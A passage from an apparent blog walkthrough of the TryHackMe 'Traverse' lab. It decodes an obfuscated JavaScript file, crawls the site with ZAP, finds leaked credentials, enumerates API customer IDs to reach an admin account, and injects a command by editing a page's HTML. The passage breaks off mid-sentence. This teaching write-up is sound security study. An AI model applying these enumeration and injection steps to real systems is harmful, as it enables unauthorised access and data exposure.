&lt;em&gt;Inspector&lt;/em&gt; tab, we’ll discover two commented JavaScript files, but the one we’re interested in is &lt;code&gt;custom.min.js&lt;/code&gt;, indicated by the comment &amp;ldquo;THIS IS CUSTOM JS FILE.&amp;ldquo;Let’s flip over to the &lt;em&gt;Network&lt;/em&gt; tab of the developer tools. Select the &lt;code&gt;JS&lt;/code&gt; filter to help us quickly locate the two scripts. Then, select the &lt;code&gt;custom.min.js&lt;/code&gt; file and click the &lt;em&gt;Response&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0d508bd9e8e6bff9deed065571ce691c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;284px&#34; data-flex-grow=&#34;118&#34; height=&#34;674&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/0d508bd9e8e6bff9deed065571ce691c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Identifying the encoded JavaScript payload&lt;/p&gt;&#xA;&lt;p&gt;Within the response payload, we can see a suspicious comment likely left by the attacker. Right below it, we see that the payload is obfuscated. Based on the format, we can determine the encoding.&lt;/p&gt;&#xA;&lt;p&gt;Since this walkthrough doesn’t contain spoilers, you’ll have to figure out which common encoding method is used on your own. We’ll confirm this in &lt;strong&gt;Question 2&lt;/strong&gt; once we start decoding operations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;607e2d5d3ce46c68adba0daf212f6344_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/607e2d5d3ce46c68adba0daf212f6344_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-flag-value-after-deobfuscating-thefile&#34;&gt;Question 2: What is the flag value after deobfuscating the file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the encoded payload, our next objective is to decode it and uncover the flag hidden within. We can accomplish this by leveraging &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, which is conveniently bookmarked in the &lt;em&gt;AttackBox’s&lt;/em&gt; &lt;em&gt;Firefox&lt;/em&gt; browser.&lt;/p&gt;&#xA;&lt;p&gt;After opening &lt;em&gt;CyberChef&lt;/em&gt;, paste the encoded payload into the input window. Since we already know the type of encoding from &lt;strong&gt;Question 1&lt;/strong&gt;, we’ll need to add the &lt;em&gt;“From [Redacted]”&lt;/em&gt; operation to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;934d89e0132acea4e96d1c5a3bddb062_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;284px&#34; data-flex-grow=&#34;118&#34; height=&#34;676&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/934d89e0132acea4e96d1c5a3bddb062_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the JavaScript payload&lt;/p&gt;&#xA;&lt;p&gt;Once the operation completes, look for a function resembling &lt;code&gt;(&amp;quot;Flag: &amp;quot;+n+&amp;quot; &amp;quot;+e+&amp;quot; &amp;quot;+o+&amp;quot; &amp;quot;+i)&lt;/code&gt;. This is our clue. All we need to do now is refer to the variables &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;o&lt;/code&gt;, and &lt;code&gt;i&lt;/code&gt;. Each one is assigned a dictionary word. When we combine them, we get the flag — and a hint to continue our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;503c34034af4ba0f9f4e04dc9ef74df9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/503c34034af4ba0f9f4e04dc9ef74df9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-logging-is-an-important-aspect-what-is-the-name-of-the-file-containing-emaildumps&#34;&gt;Question 3: Logging is an important aspect. What is the name of the file containing email dumps?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we need to map any additional URLs on the compromised web application — specifically any resource that could contain email dumps.&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we’ll leverage the &lt;strong&gt;Spider&lt;/strong&gt; capabilities of the &lt;strong&gt;OWASP ZAP&lt;/strong&gt; tool**,** which was covered in the &lt;em&gt;Dynamic Application Security Testing&lt;/em&gt; room of the &lt;em&gt;Software Security&lt;/em&gt; module. For context, according to the &lt;em&gt;ZAP&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.zaproxy.org/docs/desktop/addons/spider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;documentation&lt;/a&gt;, the &lt;em&gt;Spider&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A tool that is used to automatically discover new resources (URLs) on a particular Site. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. The Spider then visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit and the process continues recursively as long as new resources are found.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, the idea is that by leveraging the &lt;em&gt;Spider&lt;/em&gt;, we can automatically discover new resources and not have to manually hunt through the browser — awesome! Let’s try it out.&lt;/p&gt;&#xA;&lt;p&gt;First, press the &lt;em&gt;Tools&lt;/em&gt; menu and select &lt;em&gt;Spider&lt;/em&gt;. Once the &lt;em&gt;Spider’s Scope&lt;/em&gt; window opens, add your Challenge Machine IP to the &lt;code&gt;starting point&lt;/code&gt; field, tick the &lt;code&gt;recurse&lt;/code&gt; option, and press &lt;code&gt;Start Scan&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;50b29509981f2563e45f65c91dbe2cae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;251px&#34; data-flex-grow=&#34;104&#34; height=&#34;763&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/50b29509981f2563e45f65c91dbe2cae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ZAP: Configuring the Spider&lt;/p&gt;&#xA;&lt;p&gt;Once the enumeration finishes, we’ll be able to see all the discovered resources in the left-hand column. Since we’re looking specifically for logs, expand the &lt;code&gt;logs&lt;/code&gt; node. Notice the &lt;code&gt;.txt&lt;/code&gt; file? This is the file containing the email dumps that we’re searching for.&lt;/p&gt;&#xA;&lt;p&gt;By using &lt;em&gt;ZAP’s Spider&lt;/em&gt; capability, we’ve quickly identified this file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8b2cf4933c890f5b4f428264c39c5dba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;367px&#34; data-flex-grow=&#34;152&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/8b2cf4933c890f5b4f428264c39c5dba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ZAP: Reviewing the Spider results&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;31202c577021390f9e54b450d13200c8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/31202c577021390f9e54b450d13200c8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-logs-folder-contains-email-logs-and-has-a-message-for-the-software-team-lead-what-is-the-name-of-the-directory-that-bob-hascreated&#34;&gt;Question 4: The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve discovered the URL of the email logs, we can right-click the entry from &lt;em&gt;ZAP&lt;/em&gt; and select &lt;em&gt;“Open URL in Browser.”&lt;/em&gt; This will open the resource in your web browser so we can read the contents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7017e7d44e220be403666a0bd1587e85_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;601px&#34; data-flex-grow=&#34;250&#34; height=&#34;319&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/7017e7d44e220be403666a0bd1587e85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: The contents of email_dump.txt&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;code&gt;email_dump.txt&lt;/code&gt;, we’ll find a message from Bob sent to Mark, the software team lead. It contains a clue pointing to the location of a directory Bob created. He mentions: &amp;ldquo;I named the API folder under the name of the first phase of the SSDLC.&amp;ldquo;So, what is the first phase of the &lt;em&gt;SSDLC&lt;/em&gt;? This was covered in the &lt;em&gt;SSDLC&lt;/em&gt; room of the &lt;em&gt;TryHackMe Software Security&lt;/em&gt; module. We just need to refer back to the &lt;em&gt;Phases of Secure Software Development Life Cycle&lt;/em&gt; diagram to determine the name of the folder Bob created, containing the API documentation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fe0f0669a802123ac7146bca23a2f042_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;422px&#34; data-flex-grow=&#34;176&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/fe0f0669a802123ac7146bca23a2f042_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/securesdlc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/securesdlc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;117aeaa28956ab29ef79c405fa1e760a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/117aeaa28956ab29ef79c405fa1e760a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-key-file-for-opening-the-directory-that-bob-has-created-formark&#34;&gt;Question 5: What is the key file for opening the directory that Bob has created for Mark?&#xA;&lt;/h3&gt;&lt;p&gt;Another handy clue that Bob left for Mark in his email is the key to accessing the page contents — thanks, Bob!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0abbb27eae39fd8f1ac67fe8931415c9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;601px&#34; data-flex-grow=&#34;250&#34; height=&#34;319&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/0abbb27eae39fd8f1ac67fe8931415c9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Identifying the password in email_dump.txt&lt;/p&gt;&#xA;&lt;p&gt;Our next task is to use this password to access the API documentation. Let’s check it out!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;064fd8789144952531a49cf69d190a51_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2618px&#34; data-flex-grow=&#34;1090&#34; height=&#34;66&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/064fd8789144952531a49cf69d190a51_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-email-address-for-id-5-using-the-leaked-api-endpoint&#34;&gt;Question 6: What is the email address for ID 5 using the leaked API endpoint?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the URL and key to access the API documentation in the last two questions, let’s navigate to it in the browser:&lt;/p&gt;&#xA;&lt;p&gt;http://&lt;YOUR CHALLENGE IP&gt;/&amp;lt;QUESTION 4 ANSWER&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;Upon accessing the page, we’ll be challenged for a password — this is where we can use the credential we found in &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2216923b725ba145f08b8ec5e77c97b3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;269px&#34; data-flex-grow=&#34;112&#34; height=&#34;712&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/2216923b725ba145f08b8ec5e77c97b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Accessing the API Documentation&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve accessed the page, we can check out the &lt;strong&gt;API documentation&lt;/strong&gt;, which gives us detailed instructions on how to query specific customers by ID — awesome!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b0ba142c3788f74c894c0674ca94fe57_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;284px&#34; data-flex-grow=&#34;118&#34; height=&#34;675&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/b0ba142c3788f74c894c0674ca94fe57_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Accessing the API documentation&lt;/p&gt;&#xA;&lt;p&gt;So, we have &lt;em&gt;API documentation&lt;/em&gt;, but how do we actually query these customer IDs? For this task, we’ll switch to the application &lt;a class=&#34;link&#34; href=&#34;https://www.postman.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Postman&lt;/strong&gt;&lt;/a&gt;, an all-in-one API platform. &lt;em&gt;Postman&lt;/em&gt; is pre-installed on the &lt;em&gt;THM AttackBox&lt;/em&gt;, with a shortcut located in &lt;code&gt;/root/Desktop/Tools/Web&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and open &lt;em&gt;Postman&lt;/em&gt;. Here’s how we’ll build our query using Bob’s &lt;em&gt;API documentation&lt;/em&gt; as a reference:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the HTTP Method to &lt;code&gt;GET&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Input the URL of your challenge machine:&#xA;&lt;code&gt;http://&amp;lt;YOUR CHALLENGE IP&amp;gt;/api&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the Query Parameters:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;KEY = customer_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VALUE = 5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Press &lt;code&gt;Send&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4287d2c6ad9282453d6df5beaac3988b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;418&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/4287d2c6ad9282453d6df5beaac3988b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Postman: Building the API query&lt;/p&gt;&#xA;&lt;p&gt;This will create a request that matches the requirements of the &lt;em&gt;API documentation&lt;/em&gt; and allows us to query the web app for a customer ID of 5. Press &lt;code&gt;Send&lt;/code&gt; to send the request.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;646aa8906bad14c40ed2732b6156a196_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;262px&#34; data-flex-grow=&#34;109&#34; height=&#34;731&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/646aa8906bad14c40ed2732b6156a196_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Postman: Identifying the email address of user ID 5&lt;/p&gt;&#xA;&lt;p&gt;This will return the data for the user with ID 5, John, including his email address, which we need to answer &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1a3af6eb030241b6d9d0e67581fd0886_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/1a3af6eb030241b6d9d0e67581fd0886_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-id-for-the-user-with-admin-privileges&#34;&gt;What is the ID for the user with admin privileges?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-endpoint-for-logging-in-as-the-admin-mention-the-last-endpoint-instead-of-the-url-for-example-if-the-answer-is-url-is-tryhackmecomadminjust-writeadmin&#34;&gt;What is the endpoint for logging in as the admin? Mention the last endpoint instead of the URL. For example, if the answer is URL is tryhackme.com/admin — Just write /admin.&#xA;&lt;/h4&gt;&lt;p&gt;To answer &lt;strong&gt;Questions 7 &amp;amp; 8&lt;/strong&gt;, we’ll need to first identify a user with the &lt;em&gt;admin&lt;/em&gt; role, and then locate the login endpoint used to access administrative functions. We already know that John (a regular user) is ID &lt;code&gt;5&lt;/code&gt;, so we’ll start by changing the query &lt;code&gt;VALUE&lt;/code&gt; and checking lower numbers like &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt;, &lt;code&gt;3&lt;/code&gt;, &lt;code&gt;4&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;Eventually, our manual enumeration efforts pay off and we stumble upon the ID related to the &lt;em&gt;admin&lt;/em&gt; role.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5c3a202a9fbe372c914f15c404373ecd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;262px&#34; data-flex-grow=&#34;109&#34; height=&#34;731&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/5c3a202a9fbe372c914f15c404373ecd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Postman: Identifying the admin user&lt;/p&gt;&#xA;&lt;p&gt;Not only did we discover the &lt;em&gt;admin&lt;/em&gt; user with our query, but we also uncovered the login endpoint used to access the administrative functions of the web app.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07605ffc6c4d052f4c6b092f7cbe39a0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;262px&#34; data-flex-grow=&#34;109&#34; height=&#34;731&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/07605ffc6c4d052f4c6b092f7cbe39a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are good reminders of how easily sensitive information can be disclosed without proper access controls. Lock it down!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3977715a19e9eb116801d6b7dd9bcfaa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/3977715a19e9eb116801d6b7dd9bcfaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;85c11d46d1c6addd4aa1d5747dc0ec08_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/85c11d46d1c6addd4aa1d5747dc0ec08_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-9-10&#34;&gt;Questions 9 &amp;amp; 10:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-attacker-uploaded-a-web-shell-and-renamed-a-file-used-for-managing-the-server-can-you-find-the-name-of-the-web-shell-that-the-attacker-has-uploaded&#34;&gt;The attacker uploaded a web shell and renamed a file used for managing the server. Can you find the name of the web shell that the attacker has uploaded?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-file-renamed-by-the-attacker-for-managing-the-webserver&#34;&gt;What is the name of the file renamed by the attacker for managing the web server?&#xA;&lt;/h4&gt;&lt;p&gt;For our next two tasks, we’re going to leverage the exposed credentials and login endpoint we found in &lt;strong&gt;Questions 7 &amp;amp; 8&lt;/strong&gt; to access the admin page through the browser.&lt;/p&gt;&#xA;&lt;p&gt;Use your browser to connect to the endpoint and input the credentials when prompted.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bd6a6302418586b3d1c3fd62728e1103_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;270px&#34; data-flex-grow=&#34;112&#34; height=&#34;710&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/bd6a6302418586b3d1c3fd62728e1103_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Accessing the admin login endpoint&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve gained access to the &lt;em&gt;Admin Page&lt;/em&gt;, we’ll see that we have the ability to execute commands on the underlying server. For example, we have the &lt;em&gt;Current Directory&lt;/em&gt; and &lt;em&gt;System Owner&lt;/em&gt; commands. Executing each of them seems to trigger different system-level commands: &lt;code&gt;pwd&lt;/code&gt; lists the current directory, and &lt;code&gt;whoami&lt;/code&gt; lists the current user.&lt;/p&gt;&#xA;&lt;p&gt;But what if there’s a way to execute additional commands from this same admin page?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c21d2fd8e28c2a9493c07da5c1a851f5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;353px&#34; data-flex-grow=&#34;147&#34; height=&#34;543&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/c21d2fd8e28c2a9493c07da5c1a851f5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: The Admin Page command execution interface&lt;/p&gt;&#xA;&lt;p&gt;Let’s press &lt;code&gt;F12&lt;/code&gt; to open the browser’s developer tools again. This time, we’ll inspect the command input field. Notice anything interesting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;489dde78bcfd746a06f34299596770ea_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;284px&#34; data-flex-grow=&#34;118&#34; height=&#34;676&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/489dde78bcfd746a06f34299596770ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Inspecting the command execution elements&lt;/p&gt;&#xA;&lt;p&gt;We can see that our theory was correct. The two available commands are simply executing &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;pwd&lt;/code&gt; on the web server’s operating system. Let’s test if this field is vulnerable to command injection by adding an additional command.&lt;/p&gt;&#xA;&lt;p&gt;To do this, right-click the &lt;code&gt;&amp;lt;select name=&amp;quot;commands&amp;quot;&amp;gt;&lt;/code&gt; tag and edit the HTML to add another command to list the contents of the current directory. For this example, we’ll use &lt;code&gt;ls -la&lt;/code&gt; — who knows, maybe we’ll find the web shell.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;56e397c7fe2423009d2709a8d4ba96a4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/56e397c7fe2423009d2709a8d4ba96a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: HTML Manipulation&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve edited the HTML on the client side, let’s execute our new &lt;em&gt;List Contents&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a658d71aa42d43c145d49f28fab6cfec_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/a658d71aa42d43c145d49f28fab6cfec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! By executing this command, we’ve successfully revealed the web server’s directory contents and uncovered some very valuable information, 